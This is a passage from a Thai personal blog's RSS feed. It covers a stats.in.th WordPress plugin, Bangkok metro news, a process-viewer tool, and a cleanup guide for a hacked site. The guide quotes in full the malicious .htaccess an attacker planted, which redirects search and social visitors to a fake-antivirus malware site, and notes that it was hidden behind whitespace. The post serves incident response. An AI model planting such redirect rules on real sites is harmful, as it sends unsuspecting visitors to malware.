		<description><![CDATA[เว็บไซท์เก็บสถิติการเข้าชมเว็บไซท์ของเรามีอยู่หลายเว็บ แต่สำหรับผมแล้ว stats.in.th เป็นเว็บที่ค่อนข้างเสถียรและฟรี การใส่ code ลงในหน้า html เพื่อเก็บ stats ก็ไม่ยากอะไร แต่ถ้าเราต้องทำ template เพื่อใช้ในหลายๆ website แล้วต้องมาเพิ่มโค้ดเองด้วยมือ คงจะเหนื่อยไม่เบา แต่ถ้ามี plugin มาช่วยจัดการตรงนี้ก็จะดี หาแล้วก็ยังไม่มีใครเขียน เลยเขียน Plugin ขึ้นมาตัวนึง สำหรับ stats.in.th โดยเฉพาะ ลองโหลดไปใช้กันดูครับ วิธีติดตั้ง Upload Folder stats-in-th ไปที่ /wp-content/plugins/ Activate plugin โดยไปที่ Plugins เมนูของ WordPress ก็จะมี เมนู Stats.in.th เพิ่มขึ้นใน Settings ของ WordPress  เข้าไปที่ เมนู Stats.in.th เพิ่มขึ้นใน Settings เพื่อระบุค่า UID ของ [...]]]></description>
			<content:encoded><![CDATA[<p>เว็บไซท์เก็บสถิติการเข้าชมเว็บไซท์ของเรามีอยู่หลายเว็บ แต่สำหรับผมแล้ว stats.in.th เป็นเว็บที่ค่อนข้างเสถียรและฟรี การใส่ code ลงในหน้า html เพื่อเก็บ stats ก็ไม่ยากอะไร แต่ถ้าเราต้องทำ template เพื่อใช้ในหลายๆ website แล้วต้องมาเพิ่มโค้ดเองด้วยมือ คงจะเหนื่อยไม่เบา แต่ถ้ามี plugin มาช่วยจัดการตรงนี้ก็จะดี หาแล้วก็ยังไม่มีใครเขียน เลยเขียน Plugin ขึ้นมาตัวนึง สำหรับ stats.in.th โดยเฉพาะ ลองโหลดไปใช้กันดูครับ</p>
<p><span style="color: #3366ff;"><strong>วิธีติดตั้ง</strong></span></p>
<ol>
<li>Upload Folder stats-in-th ไปที่ <code>/wp-content/plugins/</code></li>
<li>Activate plugin โดยไปที่ Plugins เมนูของ WordPress ก็จะมี เมนู Stats.in.th เพิ่มขึ้นใน Settings ของ WordPress</li>
<li> เข้าไปที่ เมนู Stats.in.th เพิ่มขึ้นใน Settings เพื่อระบุค่า UID ของ stats.in.th สำหรับ UID ของ Stats.in.th ดูได้จากใน Code ที่ทาง Stats.in.th ให้มาครับ ตรง <strong>uid=xxxx</strong></li>
<li>สำหรับการแสดงผล ให้แปะ code นี้ในส่วนของ template ส่วนไหนก็ได้ที่จะแสดง icon ของ stats.in.th
<pre>&lt;?php
if(function_exists( 'get_stat_code' )) get_stat_code();
?&gt;<span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 13px; line-height: 19px; white-space: normal;"> </span></pre>
</li>
</ol>
<p><span style="color: #3366ff;"><strong>Screenshot</strong></span></p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/08/stats.in_.th-plugin-ss.png"><img class="alignnone size-medium wp-image-872" title="stats.in.th-plugin-ss" src="http://www.nop.in.th/wp-content/uploads/2011/08/stats.in_.th-plugin-ss-400x242.png" alt="" width="400" height="242" /></a></p>
<p><span style="color: #3366ff;"><strong>Version 1.0</strong></span></p>
<p>version นี้ยังไม่แสดง code stats แบบอัตโนมัตินะครับ เลยต้องแก้ template กันก่อน version ถัดไป จะเพิ่มให้ครับ</p>
<p><span style="color: #3366ff;"><strong>Download</strong></span></p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/08/stats-in-th.zip">ดาวน์โหลด Plugin WordPress  Stats-in-th</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/me-myself-and-it/wordpress-plugin-%e0%b8%aa%e0%b8%b3%e0%b8%ab%e0%b8%a3%e0%b8%b1%e0%b8%9a-website-stats-in-th/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>คมนาคมเร่งเครื่องลุยรถไฟฟ้า สายสีชมพู/สีส้มจ่อคิวเข้าครม.</title>
		<link>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b9%80%e0%b8%a3%e0%b9%88%e0%b8%87%e0%b8%a5%e0%b8%b8%e0%b8%a2%e0%b8%a3%e0%b8%96%e0%b9%84%e0%b8%9f%e0%b8%9f%e0%b9%89%e0%b8%b2%e0%b8%aa%e0%b8%b5%e0%b8%8a%e0%b8%a1%e0%b8%9e%e0%b8%b9/</link>
		<comments>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b9%80%e0%b8%a3%e0%b9%88%e0%b8%87%e0%b8%a5%e0%b8%b8%e0%b8%a2%e0%b8%a3%e0%b8%96%e0%b9%84%e0%b8%9f%e0%b8%9f%e0%b9%89%e0%b8%b2%e0%b8%aa%e0%b8%b5%e0%b8%8a%e0%b8%a1%e0%b8%9e%e0%b8%b9/#comments</comments>
		<pubDate>Tue, 19 Jul 2011 02:08:47 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[ตามติดรถไฟฟ้าสายสีชมพู]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=860</guid>
		<description><![CDATA[        กระทรวงหูกวางฟิตจัด เตรียมโครงการรถไฟฟ้าสารพัดสีเสนอครม.ยิ่งลักษณ์1 สุพจน์ชี้ค่าก่อสร้างรถไฟฟ้าสีชมพู/สีส้มส่อแววพุ่ง เผยวงเงินลงทุนรถไฟฟ้า 12 สาย ในแผนแม่บท 811,070 ล้านบาท           แม้ว่ารัฐบาล &#8220;ยิ่งลักษณ์ ชินวัตร&#8221; จะยังจัดโผคณะรัฐมนตรีไม่แล้วเสร็จ และยังไม่รู้ว่าใครจะมีนั่งเก้าอี้กระทรวงเกรดเอ อย่างกระทรวงคมนาคม แต่สุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม ยังเดินหน้าที่จะนำแผนลงทุนโครงการรถไฟฟ้าทั้ง 12 สาย เสนอต่อรัฐมนตรีว่าการกระทรวงคมนาคมคนใหม่ เพื่อนำเรื่องเข้าที่ประชุมคณะรัฐมนตรี(ครม.) เพื่อให้สามารถลงทุนก่อสร้างได้ตามแผนเดิม           ทั้งนี้ ตามแผนแม่บทของกระทรวงกำหนดว่าจะก่อสร้างโครงการรถไฟฟ้ารวม 12 เส้นทาง ในช่วงปี 2553-2572 ส่วนการที่พรรคเพื่อไทย ซึ่งเป็นแกนนำรัฐบาลมีนโยบายก่อสร้างโครงการรถไฟฟ้ารวม 10 เส้นทางนั้น จะต้องดูรายละเอียดเส้นทางต่างๆ ว่าเป็นเส้นทางใหม่หรือไม่ แต่โครงการเหล่านี้สามารถปรับแนวสายทางให้สอดคล้องกันได้           ทั้งวงเงินลงทุนรถไฟฟ้า 12 สาย [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-861" title="554000009261401" src="http://www.nop.in.th/wp-content/uploads/2011/07/554000009261401.jpeg" alt="" width="350" height="345" /></p>
<div>        กระทรวงหูกวางฟิตจัด เตรียมโครงการรถไฟฟ้าสารพัดสีเสนอครม.ยิ่งลักษณ์1 สุพจน์ชี้ค่าก่อสร้างรถไฟฟ้าสีชมพู/สีส้มส่อแววพุ่ง เผยวงเงินลงทุนรถไฟฟ้า 12 สาย ในแผนแม่บท 811,070 ล้านบาท</div>
<div>          แม้ว่ารัฐบาล &#8220;ยิ่งลักษณ์ ชินวัตร&#8221; จะยังจัดโผคณะรัฐมนตรีไม่แล้วเสร็จ และยังไม่รู้ว่าใครจะมีนั่งเก้าอี้กระทรวงเกรดเอ อย่างกระทรวงคมนาคม แต่สุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม ยังเดินหน้าที่จะนำแผนลงทุนโครงการรถไฟฟ้าทั้ง 12 สาย เสนอต่อรัฐมนตรีว่าการกระทรวงคมนาคมคนใหม่ เพื่อนำเรื่องเข้าที่ประชุมคณะรัฐมนตรี(ครม.) เพื่อให้สามารถลงทุนก่อสร้างได้ตามแผนเดิม</div>
<div>          ทั้งนี้ ตามแผนแม่บทของกระทรวงกำหนดว่าจะก่อสร้างโครงการรถไฟฟ้ารวม 12 เส้นทาง ในช่วงปี 2553-2572 ส่วนการที่พรรคเพื่อไทย ซึ่งเป็นแกนนำรัฐบาลมีนโยบายก่อสร้างโครงการรถไฟฟ้ารวม 10 เส้นทางนั้น จะต้องดูรายละเอียดเส้นทางต่างๆ ว่าเป็นเส้นทางใหม่หรือไม่ แต่โครงการเหล่านี้สามารถปรับแนวสายทางให้สอดคล้องกันได้</div>
<div>          ทั้งวงเงินลงทุนรถไฟฟ้า 12 สาย ในแผนแม่บทจำนวน 811,070 ล้านบาท มีระยะเวลาดำเนินโครงการ 20 ปี (2553-2572) และใช้เงินกู้เป็นส่วนใหญ่ โดยเฉลี่ยใช้ปีละประมาณ 40,000 ล้านบาท จึงไม่น่าจะกระทบต่อนโยบายทางการเงินการคลัง</div>
<div><strong>ค่าก่อสร้างพุ่ง</strong></div>
<div>          สุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม เปิดเผยว่า กระทรวงคมนาคมจะเสนอรายละเอียดโครงการก่อสร้างรถไฟฟ้าสายสีชมพู ช่วงแคราย-ปากเกร็ด-มีนบุรี ระยะทาง 36 กม. วงเงิน 42,067 ล้านบาท และสายสีส้มช่วงตลิ่งชัน-ศูนย์วัฒนธรรม-บางกะปิ-มีนบุรี ระยะทาง 37.5 กม. วงเงิน 137,750 ล้านบาท ให้ครม.พิจารณาอนุมัติ  ปัจจุบันที่ปรึกษาอยู่ระหว่างการออกแบบรายละเอียด และเตรียมเอกสารประกวดราคา ซึ่งต้องประเมินวงเงินค่าก่อสร้างทั้งสองโครงการใหม่ เพราะราคาวัสดุก่อสร้างในปัจจุบันแตกต่างจากในช่วงที่ประเมินค่าก่อสร้างเบื้องต้น</div>
<div>          โครงการรถไฟฟ้าทั้งสองเส้นทางจะอยู่ในความรับผิดชอบของการรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) โดยสายสีชมพูจะให้ผู้รับเหมารับผิดชอบงานก่อสร้างโครงสร้างพื้นฐาน และการจัดหาขบวนรถ ซึ่งโครงการนี้มีรูปแบบเป็นรถไฟฟ้ารางเดี่ยว โครงสร้างยกระดับตลอดสายทาง มี 24 สถานี สามารถดำเนินการได้ในปี 2555 หลังจากพิจารณาแล้วเห็นว่ารถไฟฟ้าในเส้นทางดังกล่าวมีความพร้อมในการดำเนินการ เนื่องจากผ่านการศึกษาผลกระทบสิ่งแวดล้อมแล้ว กำหนดเปิดให้บริการปี 2559 คาดว่าจะมีผู้ใช้บริการเฉลี่ยวันละ 2.18 แสนเที่ยว ซึ่งจะช่วยแก้ปัญหาการจราจรบนถนนแจ้งวัฒนะ และเชื่อมโยงการเดินทางระหว่างพื้นที่ฝั่งตะวันออกและตะวันออกเฉียงเหนือของกรุงเทพฯและปริมณฑล</div>
<div><span id="more-860"></span></div>
<div>          ส่วนสายสีส้มจะเป็นโครงสร้างใต้ดิน 26.5 กม. และโครงสร้างยกระดับ 11 กม. มี 29 สถานี เป็นสถานีใต้ดิน 21 สถานี และสถานียกระดับ 8 สถานี คาดว่าเส้นทางช่วงศูนย์วัฒนธรรมบางกะปิ จะเปิดบริการในปี 2560 ช่วงบางกะปิ-มีนบุรี จะเปิดให้บริการในปี 2561 และช่วงตลิ่งชัน-ศูนย์วัฒนธรรม จะเปิดให้บริการในปี 2562 คาดว่าจะมีผู้ใช้บริการเฉลี่ยวันละ 5.43 แสนเที่ยว  สามารถรองรับการเดินทางเข้าสู่ใจกลางเมือง รวมทั้งช่วยแก้ปัญหาการจราจรบนถนนรามคำแหงและลาดพร้าวได้ดี</div>
<div>          สำหรับรถไฟฟ้าสายสีเหลือง เส้นทางลาดพร้าว-บางกะปิสำโรง คาดว่าจะดำเนินการได้ในปี 2556 ส่วนรถไฟฟ้าสายสีเทา วัชรพล-ลาดพร้าวพระราม 4-สะพานพระราม 9 และรถไฟฟ้าสายสีฟ้า ดินแดง-สาทร เป็นเส้นทางใหม่ที่จะช่วยให้การจราจรกรุงเทพฯและปริมณฑลมีความคล่องตัวมากยิ่งขึ้น จะเร่งเดินหน้าให้สามารถก่อสร้างได้โดยเร็วที่สุด</div>
<div>          ด้านสร้อยทิพย์ ไตรสุทธิ์ ผู้อำนวยการสำนักงานนโยบายและแผนการขนส่งและจราจร (สนข.) กล่าวว่า สนข.ได้เสนอรายละเอียดการดำเนินโครงการรถไฟฟ้าสายสีเหลืองให้พิจารณาแล้ว คาดว่าจะสามารถนำเข้าสู่การพิจารณาของ ครม.ชุดใหม่ได้ทันทีเมื่อเริ่มมีการประชุม</div>
<div>          ส่วนแผนการพัฒนาด้านรถไฟนั้น 2 ปีที่ผ่านมากระทรวงคมนาคมได้ดำเนินโครงการซึ่งเป็นภารกิจหลักโดยเน้นเรื่องความปลอดภัย ซึ่งสามารถลดจำนวนการเกิดอุบัติเหตุที่เกิดบนทางหลวงลงได้ 30% นอกจากนี้ ในส่วนของการพัฒนาระบบโลจิสติกส์ มีเป้าหมายเพื่อลดต้นทุนการขนส่งสินค้าลงจากปัจจุบัน 18% โดยเปลี่ยนโหมดการขนส่งจากถนนซึ่งมีถึง 80% ไปสู่รถไฟให้มากขึ้น รวมถึงลดค่าใช้จ่ายในการเดินทางของประชาชน โดยการรถไฟแห่งประเทศไทย (ร.ฟ.ท.) ได้รับอนุมัติกรอบวงเงินในการพัฒนาโครงสร้างพื้นฐานทางรางรวม 1.7 แสนล้านบาท ซึ่งจะดำเนินการแล้วเสร็จในปี 2557ดังนั้น โครงการรถไฟทางคู่ จึงมีเงินลงทุนและพร้อมดำเนินการได้ ส่วนโครงการรถไฟความเร็วสูงสามารถเข้าสู่ขั้นตอนการเจรจาต่อเนื่องได้</div>
<div>          ส่วนงบประมาณประจำปี 2555 นั้น สุพจน์กล่าวว่า จะมีการปรับปรุงอีกครั้งหลังจากรัฐบาลแถลงนโยบายต่อรัฐสภา เพื่อดูว่ามีนโยบายที่เกี่ยวข้องกับกระทรวงคมนาคมอย่างไร ส่วนจะได้รับการจัดสรรเพิ่มขึ้นหรือไม่นั้น อยู่ที่รัฐบาลซึ่งคิดว่า รัฐบาลนี้อาจจะมีความสามารถในการหาเงินได้มากขึ้นก็ได้โดยก่อนหน้านี้ กระทรวงคมนาคมได้จัดทำงบประมาณรายจ่ายประจำปี 2555 ไว้รวม 235,387 ล้านบาท เพิ่มขึ้นจากปีก่อน126,316 ล้านบาท หรือเพิ่มขึ้น 115.81% แบ่งเป็นงบประมาณของส่วนราชการ 159,800 ล้านบาท และรัฐวิสาหกิจ 75,586 ล้านบาทโดยหน่วยงานที่เสนอขอรับจัดสรรงบประมาณสูงสุด คือ กรมทางหลวง จำนวน 93,130 ล้านบาท เพิ่มขึ้นจากปีก่อน 46,130 ล้านบาท หรือเพิ่มขึ้น 98.15</div>
<pre></pre>
<pre>ที่มาจาก <a href="http://www.manager.co.th/mgrweekly/viewnews.aspx?NewsID=9540000086913" target="_blank">ผู้จัดการรายสัปดาห์</a></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/%e0%b9%80%e0%b8%a3%e0%b9%88%e0%b8%87%e0%b8%a5%e0%b8%b8%e0%b8%a2%e0%b8%a3%e0%b8%96%e0%b9%84%e0%b8%9f%e0%b8%9f%e0%b9%89%e0%b8%b2%e0%b8%aa%e0%b8%b5%e0%b8%8a%e0%b8%a1%e0%b8%9e%e0%b8%b9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>อ่าน Process ของ Windows ไม่รู้เรื่อง TaskSTRun ช่วยคุณได้</title>
		<link>http://www.nop.in.th/me-myself-and-it/%e0%b8%ad%e0%b9%88%e0%b8%b2%e0%b8%99-process-%e0%b8%82%e0%b8%ad%e0%b8%87-windows-%e0%b9%84%e0%b8%a1%e0%b9%88%e0%b8%a3%e0%b8%b9%e0%b9%89%e0%b9%80%e0%b8%a3%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b8%87-taskstrun/</link>
		<comments>http://www.nop.in.th/me-myself-and-it/%e0%b8%ad%e0%b9%88%e0%b8%b2%e0%b8%99-process-%e0%b8%82%e0%b8%ad%e0%b8%87-windows-%e0%b9%84%e0%b8%a1%e0%b9%88%e0%b8%a3%e0%b8%b9%e0%b9%89%e0%b9%80%e0%b8%a3%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b8%87-taskstrun/#comments</comments>
		<pubDate>Thu, 23 Jun 2011 05:37:39 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[Me Myself and IT]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=844</guid>
		<description><![CDATA[เวลาเรามีปัญหาเช่นอาจจะโดน Virus หรือ Process ที่ทำงานขันแข็งเกินไปจนไปกิน CPU เอย RAM เอย จนหมดเนื้อหมดตัว เราก็มักจะเข้าไปเรียกดู Windows Task Manager เข้าไปดูที่ Process ซึ่งจริงๆ แล้วดูแทบจะไม่รู้เรื่องเลย ถ้าชื่อไม่คุ้่นจริงๆ ก็ไม่รู้หรอกครับ ว่ามัน Process นั้นเป็นของ Application อะไร ดังภาพ&#8230; แนะนำโปรแกรมนี้เลยครับ TaskSTRun โปรแกรมเล็กๆ ง่ายๆ แต่ตอบโจทย์ตามที่ต้องการอย่างตรงใจ ^^ โปรแกรมจะบอกเป็นรูปแผนภูมิต้นไม้ ว่าโปรแกรมไหนเป็นลูกของโปรแกรมอะไร แล้ว Run จากที่ Path ไหน เจิดมากครับ ลองโหลดไปใช้งานดูครับ Download โปรแกรม TaskSTRun]]></description>
			<content:encoded><![CDATA[<p>เวลาเรามีปัญหาเช่นอาจจะโดน Virus หรือ Process ที่ทำงานขันแข็งเกินไปจนไปกิน CPU เอย RAM เอย จนหมดเนื้อหมดตัว เราก็มักจะเข้าไปเรียกดู Windows Task Manager เข้าไปดูที่ Process ซึ่งจริงๆ แล้วดูแทบจะไม่รู้เรื่องเลย ถ้าชื่อไม่คุ้่นจริงๆ ก็ไม่รู้หรอกครับ ว่ามัน Process นั้นเป็นของ Application อะไร</p>
<p>ดังภาพ&#8230;</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/06/old_process.png"><img class="alignnone size-full wp-image-845" title="old_process" src="http://www.nop.in.th/wp-content/uploads/2011/06/old_process.png" alt="" width="404" height="447" /></a></p>
<p>แนะนำโปรแกรมนี้เลยครับ TaskSTRun โปรแกรมเล็กๆ ง่ายๆ แต่ตอบโจทย์ตามที่ต้องการอย่างตรงใจ ^^</p>
<p>โปรแกรมจะบอกเป็นรูปแผนภูมิต้นไม้ ว่าโปรแกรมไหนเป็นลูกของโปรแกรมอะไร แล้ว Run จากที่ Path ไหน เจิดมากครับ</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/06/new_process.png"><img class="alignnone size-medium wp-image-846" title="new_process" src="http://www.nop.in.th/wp-content/uploads/2011/06/new_process-400x255.png" alt="" width="400" height="255" /></a></p>
<p>ลองโหลดไปใช้งานดูครับ</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/06/TaskSTRun.zip" target="_blank">Download โปรแกรม TaskSTRun</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/me-myself-and-it/%e0%b8%ad%e0%b9%88%e0%b8%b2%e0%b8%99-process-%e0%b8%82%e0%b8%ad%e0%b8%87-windows-%e0%b9%84%e0%b8%a1%e0%b9%88%e0%b8%a3%e0%b8%b9%e0%b9%89%e0%b9%80%e0%b8%a3%e0%b8%b7%e0%b9%88%e0%b8%ad%e0%b8%87-taskstrun/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>การแก้ปัญหาเบื้องต้นจากการโดน Redirect ไปที่ http://seishell-inoa.ru/wings/index.php</title>
		<link>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/</link>
		<comments>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 04:17:36 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=826</guid>
		<description><![CDATA[การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย [...]]]></description>
			<content:encoded><![CDATA[<h3>การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php</h3>
<p>หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว<br />
สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย<br />
<strong>โดยมีสรุป เป็นปีๆ ได้ดังนี้</strong><br />
<a href="http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html" target="_blank">http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html</a><br />
<strong>และอันนี้เป็นอันรวมว่ามีรูรั่วตรงไหนบ้าง<br />
</strong><a href="http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html" target="_blank">http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html</a></p>
<p>ทั้งหมดจะเป็นประเภท XSS หมดเลยครับ</p>
<p><strong>วิธีการแก้ปัญหา </strong><br />
ก่อนทำอะไร Backup DB ไว้ก่อนดีที่สุดครับ</p>
<p>1. จัดการตัวการเจ้าปัญหาเสียก่อน โดยทำการลบ phpMyAdmin version ที่รั่วทิ้ง จากนั้นไป Load Version ใหม่ ได้ที่ <a href="http://www.phpmyadmin.net/home_page/index.php" target="_blank">http://www.phpmyadmin.net/home_page/index.php</a></p>
<p>2. ให้ทำการตรวจสอบข้อมูลใน Table เราก่อนว่ามี Script ที่เกิดจากการใช้ SQL Injection อะไรหรือเปล่า โดยหลักจะผมจะ Search หาคำว่า <strong>&lt;/SCRIPT&gt;, script , java , void</strong> ด้วย Keyword เหล่านี้ แต่หาจากทุก Table ใน ทุกๆ Field ใน Database นั้นๆ (มีเครื่องมือที่ <a href="http://anywhereindb.googlecode.com" target="_blank">http://anywhereindb.googlecode.com</a> เป็นไฟล์ php หรือจะใช้ ค้นหา ใน phpmyadmin ก็ได้ครับ) เมื่อเจอ Code Java ประหลาด ๆ (ที่ไม่ได้เกิดจากที่ App เราเขียนนะครับ) ก็ลบออก<br />
(ใน Case ของผมมี 2 &#8211; 3 จุดครับ แต่ก็ยังไม่หาย ยังคง Redirect ต่อเนื่อง &#8211; -&#8221; คิดว่างานมาละ )</p>
<p><span id="more-826"></span></p>
<p>3. สำหรับ Case ที่ Redirect ไปหน้า http://seishell-inoa.ru/wings/index.php จะเกิดจากการโดนแก้ไข File .htaccess ที่ root Directory ของ Website ของเราโดยจะโดนแก้ไขให้เป็นดังนี้ครับ</p>
<blockquote><p>RewriteEngine On<br />
ErrorDocument 400 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 401 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 403 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 404 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 500 http://seishell-inoa.ru/wings/index.php<br />
RewriteCond %{HTTP_REFERER} .*google.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*qq.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*excite.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*goto.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*search.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*bing.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*blog.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*live.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mail.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ya.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aport.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*flickr.*<br />
RewriteRule ^(.*)$ http://seishell-inoa.ru/wings/index.php [R=301,L]</p></blockquote>
<p>ถ้าเปิดแล้วไม่เจอ ลองเลื่อน Scrollbar ดูทั้ง ด้านข้างและด้านล่างนะครับ เพราะการเขียน Code พวกนี้จะทิ้ง Space ไว้ เพื่อให้เราเปิดไม่เจอด้วย</p>
<p>จาก .htaccess เราจะพบว่า ผู้ใช้คนไหนก็แล้วแต่ที่มาจาก Search engine ต่างๆ หรือ Social Network เข้ามาปุ๊ปให้ Redirect ไปที่ http://seishell-inoa.ru/wings/index.php แบบ 301 (moved to a new location, permanently) และ หน้า Error ที่เกิดขึ้นใน Web ของเราก็ให้ Redirect ไปเช่นกัน<br />
เมื่อเห็นดังนี้แล้วก็ให้ลบ Rewrite Condition ด้านบนทิ้งแล้วก็ Save Upload เก็บไว้ที่เดิมครับ</p>
<p>อันนี้เป็นการแก้ไขปัญหาเบื้องต้นก่อน เพราะว่า ผมยังไม่รู้ว่า ที่มันรั่วมันรั่วมาจาก phpMyAdmin หรือเปล่า ถ้ามี Update จะมาเล่าสุ่กันฟังต่อไปครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>การทำให้ Windows Explorer มองเห็น Thumbnail File .psd และ .ai ของ Photoshop CS4 และ Illustrator CS4</title>
		<link>http://www.nop.in.th/graphics-design/fix-explorer-photoshop-illustrator-thumbnail-cs4/</link>
		<comments>http://www.nop.in.th/graphics-design/fix-explorer-photoshop-illustrator-thumbnail-cs4/#comments</comments>
		<pubDate>Tue, 31 May 2011 09:17:55 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[Graphics Design]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=814</guid>
